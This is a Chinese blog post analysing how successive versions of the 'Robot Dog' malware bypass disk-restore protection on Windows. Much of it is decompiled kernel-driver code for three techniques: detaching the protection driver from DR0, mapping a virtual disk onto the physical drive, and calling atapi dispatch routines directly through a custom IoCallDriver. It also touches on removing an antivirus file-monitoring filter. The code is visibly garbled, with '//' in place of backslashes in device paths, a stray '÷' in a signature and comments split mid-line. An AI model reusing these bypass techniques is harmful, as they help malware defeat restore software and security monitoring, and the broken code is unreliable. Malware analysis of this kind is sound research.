从机器狗浅析磁盘还原穿越技术(第一代到目前的第三代)

从机器狗浅析磁盘还原穿越技术



本文首先感谢女王提供的无数资料和code ,非常感谢。

磁盘保护驱动工作在文件过滤系统之下,磁盘过滤驱动(disk.sys)之上
将上层对于磁盘的访问定位到自己的处理过程

如图所示 最新版本的狙剑提供了查看功能,我的系统安装了nod32
因此有一个eamon.sys挂载在fastfat.sys之上,,杀毒软件就是依靠
这个东西实现的文件监控,如果我们摘除他 文件监控也就失效了,
关于这个本文不做进一步讨论

第一代机器狗穿越还原是清除//Device//Harddisk0//DR0上的附加设备
相关代码如下
Quote:

    UNICODE_STRING objectName;
    PDEVICE_OBJECT hardObject = NULL;
    PFILE_OBJECT fileObject = NULL;
    RtlInitUnicodeString(&objectName, PCIHDD_DR0DEVICE_NAME);
    status = IoGetDeviceObjectPointer(&objectName, FILE_READ_ATTRIBUTES, &fileObject, &hardObject);
    ASSERT(NT_SUCCESS(status));
    HddDr0Device = fileObject->DeviceObject; // 说明 : HddDr0Device->AttachedDevice 就是 hardObject
    if(HddDr0Device->AttachedDevice)
    { // 保存DR0上的附加设备, 然后断开附加,
    HddAttDevice = InterlockedExchangePointer((PVOID*)&HddDr0Device->AttachedDevice, NULL);
    }
    ObDereferenceObject(fileObject);
    }



这个代码比较漂亮的使用了InterlockedExchangePointer
当然你直接循环执行HddDr0Device->AttachedDevice=NULL
也没有多大问题

这就是第一代机器狗,感染的文件是userinit,详细的查杀文章不再详述,
可参考其他文章
Quote:

    typedef struct _PARTITION_ENTRY
    {
    UCHAR active; // 能否启动标志
    UCHAR StartHead; // 该分区起始磁头号
    UCHAR StartSector; // 起始柱面号高2位:6位起始扇区号
    UCHAR StartCylinder; // 起始柱面号低8位
    UCHAR PartitionType; // 分区类型
    UCHAR EndHead; // 该分区终止磁头号
    UCHAR EndSector; // 终止柱面号高2位:6位终止扇区号
    UCHAR EndCylinder; // 终止柱面号低8位
    ULONG StartLBA; // 起始扇区号
    ULONG TotalSector; // 分区尺寸(总扇区数)
    } PARTITION_ENTRY, *PPARTITION_ENTRY;

    //==============================================================================
    typedef struct _MBR_SECTOR
    {
    UCHAR BootCode[446];
    PARTITION_ENTRY Partition[4];
    USHORT Signature;
    } MBR_SECTOR, *PMBR_SECTOR;

    //==============================================================================
    typedef struct _BBR_SECTOR
    {
    USHORT JmpCode; // 2字节跳转指令,跳转到引导代码
    UCHAR NopCode; // 1字节nop指令,填充用,保证跳转指令长3个字节
    UCHAR OEMName[8]; // 8字节的OEMName

    // 下面开始为: BPB( BIOS Parameter Block )

    USHORT BytesPerSector; // 每个扇区的字节数 (512 1024 2048 4096)
    UCHAR SectorsPerCluster; // 每个簇的扇区数 ( 1 2 4 8 16 32 64 128 )两者相乘不能超过32K(簇最大大小

)
    USHORT ReservedSectors; // 从卷的第一个扇区开始的保留扇区数目,该值不能为0,对于FAT12/FAT16,该值

通常为1,对于FAT32,典型值为32
    UCHAR NumberOfFATs; // 卷上FAT数据结构的数目,该值通常应为2,[NTFS不使用NumberOfFATs字段,必须为0]
    USHORT RootEntries; // 对于FAT12/FAT16,该值表示32字节目录项的数目,对于FAT32,该值必须为0;[NTFS不

使用]
    USHORT NumberOfSectors16; // 该卷上的扇区总数,该字段可以为0,如果该字段为0,则NumberOfSectors32

不能为0;对于FAT32,该字段必须为0 [FAT32/NTFS不使用该字段]
    UCHAR MediaDescriptor; // 介质类型
    USHORT SectorsPerFAT16; // 该字段标识一个FAT结构占有的扇区数(FAT12/FAT16),对于FAT32卷,该字段必

须为0;[FAT32/NTFS不使用该字段]
    USHORT SectorsPerTrack; // 用于INT 0x13中断的每个磁道的扇区数
    USHORT HeadsPerCylinder; // 用于INT 0x13中断的每个柱面的磁头数
    ULONG HiddenSectors; // 包含该FAT卷的分区之前的隐藏扇区数
    ULONG NumberOfSectors32; // 该字段包含该卷上的所有扇区数目,对于FAT32,该字段不为0;FAT12/FAT16可

根据实际大小是否超过65536个扇区数决定是否采用该字段; [NTFS不使用该字段]

    // 下面开始为: EBPB ( Extended BIOS Parameter Block )

    ULONG SectorsPerFAT32; // 对于FAT32,该字段包含一个FAT的大小,而SectorsPerFAT16字段必须为0;
    } BBR_SECTOR, *PBBR_SECTOR;



后来的机器狗作了一些小小改进,变成了感染3个文件,但是大体的代码
没有多少改变,个人不喜欢将其定义成第二代

感谢MJ0011指出错误,
相比第一代机器狗,第2代机器狗反而没有了文件系统分析工作
而是使用虚拟磁盘映射真实磁盘的方法实现,解析工作完全交给了文件系统本身

第一代机器狗没有多少好说的了。核心部分就是移除DR0上面的附加玩意

我们来看看第二代机器狗,也就是虚拟磁盘的版本

Quote:

    SourceString = '//';
    v10 = 'D';
    v13 = 'e';
    v14 = 'v';
    v15 = 'i';
    v16 = 'c';
    v17 = 'e';
    v18 = '//';
    v19 = 'z';
    v20 = 'z';
    v21 = 'z';
    RtlInitUnicodeString(&DestinationString, &SourceString);
    ObjectAttributes.Length = 24;
    ObjectAttributes.RootDirectory = 0;
    ObjectAttributes.Attributes = 16;
    ObjectAttributes.ObjectName = &DestinationString;
    ObjectAttributes.SecurityDescriptor = 0;
    ObjectAttributes.SecurityQualityOfService = 0;
    v3 = ZwCreateDirectoryObject(&g_DirHandle, 0xF000Fu, &ObjectAttributes);
    ntStatus = v3;
    if ( v3 >= 0 )
    {
    ZwMakeTemporaryObject(g_DirHandle);
    DeviceNumber = 0;
    while ( DeviceNumber < v12 )
    {
    v4 = CreateDevice(DriverObject, DeviceNumber);
    ntStatus = v4;
    if ( v4 < 0 )
    goto LABEL_17;
    ++DeviceNumber;
    }
    DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)CreateClose;
    DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)CreateClose;
    DriverObject->MajorFunction[3] = (PDRIVER_DISPATCH)ReadWriteRoutine;
    DriverObject->MajorFunction[4] = (PDRIVER_DISPATCH)ReadWriteRoutine;
    DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)IoControl;
    DriverObject->DriverUnload = (PDRIVER_UNLOAD)DrvUnload;
    memset((void *)&SourceString, 0, 0x40u);
    SourceString = '//';
    v10 = 'D';
    v13 = 'e';
    v14 = 'v';
    v15 = 'i';
    v16 = 'c';
    v17 = 'e';
    v18 = '//';
    v19 = 'z';
    v20 = 'z';
    v21 = 'z';
    v26 = '//';
    v27 = 'z';
    v28 = 'z';
    v29 = 'z';
    v30 = 'x';
    v31 = 'x';
    v32 = 'x';
    RtlInitUnicodeString(&DeviceName, &SourceString);
    v5 = IoCreateDevice(DriverObject, 0x27u, &DeviceName, FILE_DEVICE_UNKNOWN, 0, 0,

&g_DeviceObject);
    ntStatus = v5;
    if ( v5 >= 0 )
    {
    v6 = g_DeviceObject->DeviceExtension;
    memset(v6, 0, 0x24u);
    v6 = (char *)v6 + 36;
    *(_WORD *)v6 = 0;
    *((_BYTE *)v6 + 2) = 0;
    memset((void *)&SourceString, 0, 0x40u);
    SourceString = '//';
    v10 = 'D';
    v13 = 'o';
    v14 = 's';
    v15 = 'D';
    v16 = 'e';
    v17 = 'v';
    v18 = 'i';
    v19 = 'c';
    v20 = 'e';
    v21 = 's';
    v26 = '//';
    v27 = 'z';
    v28 = 'z';
    v29 = 'z';
    v30 = 'x';
    v31 = 'x';
    v32 = 'x';
    RtlInitUnicodeString(&SymbolicLinkName, &SourceString);
    v7 = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);


当设备目录"//Device//zzz"不存在的时候,创建会失败。
所以应该先创建这个目录,使用ZwCreateDirectoryObject创建设备目录
然后IoCreateDevice完成这个设备创建并且使用IoCreateSymbolicLink创建指向这个
设备的link,这一个部分就是建立一个虚拟磁盘。相关代码可以参考filedisk
filedisk的功能是将一个镜像文件img,iso,flp等直接mount上去实现直接访问
WinMount的优点是还能支持filedisk所不支持的rar等文件格式

感谢MJ和刀客的指点。在这里第二代机器狗完成了一个工作,将对于虚拟磁盘的
访问转换到真实磁盘
分别获取//GLOBAL??//PhysicalDriveX和//??//PhysicalDriveX
Quote:

    wcscpy(globaldrivex,L"//GLOBAL??//PhysicalDrive");
    globaldrivex[23]=(WORD)index+0x30;
    globaldrivex[24]=0;
    wcscpy(drivex,L"//??//PhysicalDrive");
    drivex[17]=(WORD)index+0x30;
    drivex[18]=0;

    RtlInitUnicodeString(&us,globaldrivex);
    if(IoGetDeviceObjectPointer(&us,FILE_READ_ATTRIBUTES,FileObject,DeviceObject))
    {
    RtlInitUnicodeString(&us,drivex);
    if(IoGetDeviceObjectPointer(&us,FILE_READ_ATTRIBUTES,FileObject,DeviceObject))
    return 1;
    }
    *DeviceObject=(*FileObject)->DeviceObject;


接下来就是对于转换虚拟磁盘的操作了
Quote:

    signed int ÷ ReadWriteRoutine(int DeviceObject, PIRP Irp)
    {
    int v2; // esi@1
    PIRP v3; // ecx@2
    signed int v4; // esi@2
    PIO_STACK_LOCATION v5; // eax@5

    v2 = *(_DWORD *)(DeviceObject + 40);
    if ( !*(_BYTE *)(v2 + 4)
    || !g_PhyDrvDeviceObject && GetPhysicalDriveObject(&g_PhyDrvDeviceObject, &g_PhyDrvFileObject) <

0 )
    {
    v3 = Irp;
    Irp->IoStatus.Status = STATUS_NO_MEDIA_IN_DEVICE;
    v4 = STATUS_NO_MEDIA_IN_DEVICE;
    @CompleteIrp:
    v3->IoStatus.Information = 0;
    IofCompleteRequest(v3, 0);
    return v4;
    }
    v3 = Irp;
    v5 = (PIO_STACK_LOCATION)Irp->Tail.Overlay.CurrentStackLocation;
    if ( !v5->Parameters.Create.SecurityContext )
    {
    Irp->IoStatus.Status = 0;
    v4 = 0;
    goto @CompleteIrp;
    }
    v5->Control |= 1u;
    ExfInterlockedInsertTailList((PLIST_ENTRY)(v2 + 6), &v3->Tail.Overlay.ListEntry, (PKSPIN_LOCK)(v2

+ 14));
    KeSetEvent((PRKEVENT)(v2 + 18), 0, 0);
    return 259;
    }


对于送过来的读写请求,首先将这个irp用IoMarkIrpPending设置成pending状态
然后ExInterlockedInsertTailList送入链表并且设置一个Event
另外有一个线程专门处理写入工作,将这个irp上面的数据发送给真实的磁盘设备
这个偶不懂,也就不敢乱说了
Quote:


    typedef struct _SCSI_REQUEST_BLOCK {
    USHORT Length;
    UCHAR Function;
    UCHAR SrbStatus;
    UCHAR ScsiStatus;
    UCHAR PathId;
    UCHAR TargetId;
    UCHAR Lun;
    UCHAR QueueTag;
    UCHAR QueueAction;
    UCHAR CdbLength;
    UCHAR SenseInfoBufferLength;
    ULONG SrbFlags;
    ULONG DataTransferLength;
    ULONG TimeOutValue;
    PVOID DataBuffer;
    PVOID SenseInfoBuffer;
    struct _SCSI_REQUEST_BLOCK *NextSrb;
    PVOID OriginalRequest;
    PVOID SrbExtension;
    union {
    ULONG InternalStatus;
    ULONG QueueSortKey;
    };
    UCHAR Cdb[16];
    } SCSI_REQUEST_BLOCK, *PSCSI_REQUEST_BLOCK;


使用IoCallDriver发送指令给真实磁盘,第三代对于这里是使用的MyIoCallDriver

第三代机器狗偶没有样本 就只能从MJ0011提供的F5样本来分析了
这个东东的首先会读取ftdisk.sys文件,从文件中获取atapi.sys的原始MajorFunction
读文件的过程是首先在PE区段内找到INIT,从而定位DriverEntry
从DriverEntry中读取DispatchRoutine的地址,,搜索方法还是特征码办法
Quote:

    if ( v17 < v26 + v17 )
    {
    while ( *((_BYTE *)v11 + v17) != -57
    || *((_BYTE *)v11 + v17 + 2) != 48
    || *((_BYTE *)v11 + v17 + 7) != -57
    || *((_BYTE *)v11 + v17 + 9) != 52
    || *((_BYTE *)v11 + v17 + 14) != -57
    || *((_BYTE *)v11 + v17 + 21) != -57
    || *((_BYTE *)v11 + v17 + 28) != -57 )
    {
    ++v17;
    if ( v17 >= v18 )
    goto LABEL_41;
    }
    v19 = v30;
    if ( v30 )
    {
    v20 = v31;
    if ( v31 )
    {
    *(DWORD *)v30 = *(DWORD *)(v11 + v17 + 24) - 65536;
    v27 = *(DWORD *)(v11 + v17 + 17) - 65536;
    *(DWORD *)v20 = *(DWORD *)(v11 + v17 + 17) - 65536;
    v28 = *(DWORD *)v19;
    v42 = 1;
    DbgPrint("xxx address is: %08x....%08x...%08x/n", v17, v28, v27);


偶没有idb,MJ0011的F5代码虽然很乱,不过还是能猜是特征码定位出来的
另外一个功能就是获取atapi的drx
RtlInitUnicodeString((UNICODE_STRING *)&v19, L"//Device//HardDiskVolume%d");
if ( v7 < 0 )
{
v5 = v18;
}
else
{
ATAPI_drvobj = (int)Object;
v4 = GetLastDiskDeviceObject((int)Object);
v5 = v4;
if ( v4 )
{
DbgPrint("ata dr0 dev obj is : %08x...", v4);
ata_dr0device_object = v5;
}
ObfDereferenceObject(Object);
}
获得最底层disk代码
while ( v2 )
{
if ( *(DWORD *)(v2 + 44) == FILE_DEVICE_DISK )
result = v2;
v2 = *(DWORD *)(v2 + 12);
}
似乎是堆栈搜索过来的

第三代采用了自己的IoCallDriver
系统的IoCallDriver-pIofCallDriver-IopfCallDriver
其中有大量的对于Object和IRP的验证
最后来到调用点
Quote:

    .text:0040C7D0 ; __fastcall IopfCallDriver(x, x)
    .text:0040C7D0 @IopfCallDriver@8 proc near ; CODE XREF: IovCallDriver(x,x)+1C p
    .text:0040C7D0 ; IovCallDriver(x,x)+9B p ...
    .text:0040C7D0 dec byte ptr [edx+23h]
    .text:0040C7D3 mov al, [edx+23h]
    .text:0040C7D6 test al, al
    .text:0040C7D8 jle loc_444DDC
    .text:0040C7DE mov eax, [edx+60h]
    .text:0040C7E1 sub eax, 24h
    .text:0040C7E4 push esi
    .text:0040C7E5 mov [edx+60h], eax ; 下层stack
    .text:0040C7E8 mov [eax+14h], ecx ; 获取DeviceObject
    .text:0040C7EB movzx eax, byte ptr [eax] ; 指向MajorFunction
    .text:0040C7EE mov esi, [ecx+8] ; DriverObject
    .text:0040C7F1 push edx
    .text:0040C7F2 push ecx
    .text:0040C7F3 call dword ptr [esi+eax*4+38h] ; 调用DispatchRoutine
    .text:0040C7F7 pop esi
    .text:0040C7F8 retn


由此我们完全可以自己实现

剩下的部分还有一个读取打开userinit,从中ObReferenceObjectByHandle获得文件对象
file object -> vpb -> device object然后
发送IRP_MJ_FILE_SYSTEM_CONTROL获取文件
Quote:

    KeInitializeEvent(&Event, SynchronizationEvent, 0);
    *(DWORD *)(v3 + 60) = &v39;
    *(DWORD *)(v3 + 44) = &Event;
    *(DWORD *)(v3 + 4) = 0;
    *(DWORD *)(v3 + 8) = IRP_DEFER_IO_COMPLETION;
    *(DWORD *)(v3 + 40) = &IoStatusBlock;
    *(_BYTE *)(v3 + 32) = KernelMode;
    *(DWORD *)(v3 + 80) = KeGetCurrentThread();
    *(DWORD *)(v3 + 100) = Object;
    v22 = *(DWORD *)(v3 + 96) - 36;
    *(_BYTE *)v22 = IRP_MJ_FILE_SYSTEM_CONTROL;
    *(DWORD *)(v22 + 20) = *(DWORD *)(*((DWORD *)Object + 2) + 8);
    *(DWORD *)(v22 + 24) = Object;
    *(DWORD *)(v22 + 12) = 589939;
    *(DWORD *)(v22 + 8) = 8;
    *(DWORD *)(v22 + 16) = &v29;
    *(DWORD *)(v22 + 4) = 272;


不过的感觉发送给atapi的scsi_request_block与第二代相差不大
也没能看明白。不敢乱说了。哈

你可能感兴趣的:(技术)